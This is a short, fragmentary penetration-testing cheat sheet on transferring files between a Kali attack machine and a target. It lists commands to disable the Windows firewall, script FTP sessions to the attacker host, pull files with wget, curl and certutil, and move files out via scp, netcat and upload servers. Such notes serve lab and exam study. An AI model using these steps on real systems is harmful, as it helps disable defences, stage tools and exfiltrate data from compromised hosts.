File transfer
ls -la drwxrwxrwt (/usr/tmp ; /tmp ; /var/tmp) disable firewall: netsh firewall set opmode disable
rwx = 111 = 7
rw- = 110 = 6
r-x = 101 = 5
r-- = 100 = 4
-wx = 011 = 3
-w- = 010 = 2
--x = 001 = 1SSH
Receiving: service ssh start
Sending: scp {path of file to sd} {myuser}@{myip}:{saving path} | yes | {pwd}
FTP -a active mode
-a active modeReceiving: get {remotefile} ({localfilename})
Sending (ftp to taget from kali): put {localfile} ({remotefilename})
Limited-interaction transfer - kali service pure-ftpd start:
echo open {kali ip} 21> ftp.txt
echo USER kali >> ftp.txt
echo kaliftppwd(kali) >> ftp.txt
echo bin >> ftp.txt
echo GET/PUT the.file >> ftp.txt
echo bye >> ftp.txt(GET from kali home ; PUT to /ftphome/)
HTTP
Serving (on working dir): python -m http.server 80
Downloading (on working dir): wget {downloadip:80}/{file} (-O)
curl {downloadip:80/filepath} > {savepath}
Powershell
AD
Netcat
Serving: nc -nlvp < file
Getting: nc -nv {ip} > file
Powershell to kali service apache2 start /var/www/uploads
service apache2 start /var/www/uploadsTo python -m uploadserver
Windows certutil.exe download
smb
xfreerdp drive share (or just host on http ser and browse to download)
Last updated